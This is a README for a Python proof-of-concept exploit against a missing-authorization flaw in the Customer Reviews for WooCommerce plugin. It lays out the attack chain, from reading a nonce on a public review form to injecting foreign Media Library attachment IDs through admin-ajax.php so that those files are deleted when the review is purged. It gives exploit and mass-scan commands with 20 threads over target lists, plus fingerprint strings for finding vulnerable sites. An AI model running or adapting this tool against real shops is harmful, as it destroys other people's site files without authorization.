
Python check/exploit PoC for CVE-2026-89055, an unauthenticated authorization bypass in Customer Reviews for WooCommerce that lets attackers link arbitrary Media Library attachments for deletion.
Python 3 PoC for CVE-2026-89055 in Customer Reviews for WooCommerce (customer-reviews-woocommerce / Ivole CusRev).
CVE-2026-89055 — Customer Reviews for WooCommerce (CusRev) ≤ 5.120.0 is vulnerable to missing authorization on the public local review form AJAX handler (cr_local_forms_submit). Anyone with a customer review link (/cusrev/{13-hex formId}/ from post-order email) can obtain a valid crSubmitNonce and submit reviews whose items[].media array may contain arbitrary Media Library attachment IDs (product images, logos, PDFs, etc.). Those IDs are stored in review comment meta; when the review is permanently deleted (trash purge / spam cleanup), delete_review_media_attachments() calls wp_delete_attachment() on each linked ID without ownership checks. CVSS 3.1 9.1 Critical (C:N/I:H/A:H). Fixed in > 5.120.0.
Community catalog: https://pocbit.org/pocs/
{site}/cusrev/{formId}/ → read crSubmitNonce + product data-itemid values.POST to admin-ajax.php: action=cr_local_forms_submit with items[n][media][]=<victim_attachment_id>.ivole_reviews_locl_img / video).delete_review_media_attachments deletes every linked attachment file.This PoC performs steps 1–2 on authorized targets. Step 4 is a site/admin lifecycle event (document in output as chain_note).
pip install -r requirements.txt
Python 3.8+.
# Plugin version + optional live form (nonce + item IDs)
python poc.py -u https://shop.example --mode check --form-url /cusrev/abc123def4567/
# Inject foreign attachment ID into first product line item
python poc.py -u https://shop.example --mode exploit \
--form-id abc123def4567 --attachment-id 123 \
--verify-url https://shop.example/wp-content/uploads/2026/01/product.jpg
# Mass: base URL per line, optional form path after |
python poc.py --list targets.example.txt --mode check -j 20 --quiet
| File | Meaning |
|---|---|
cve_2026_89055_results.jsonl | Per-target JSON |
hits.txt | Candidates or exploit markers |
candidates.jsonl | Plugin-vuln hosts needing form links |
body="/wp-content/plugins/customer-reviews-woocommerce/"
body="/cusrev/"
Authorized testing only.
| Platform | WordPress + WooCommerce |
| Plugin | Customer Reviews for WooCommerce |
| Affected | ≤ 5.120.0 |
| CWE | CWE-862 (Missing Authorization) |
| Prerequisite | Public /cusrev/{formId}/ link (nonce on page) |
| Impact | Arbitrary media deletion after review purge (integrity + availability) |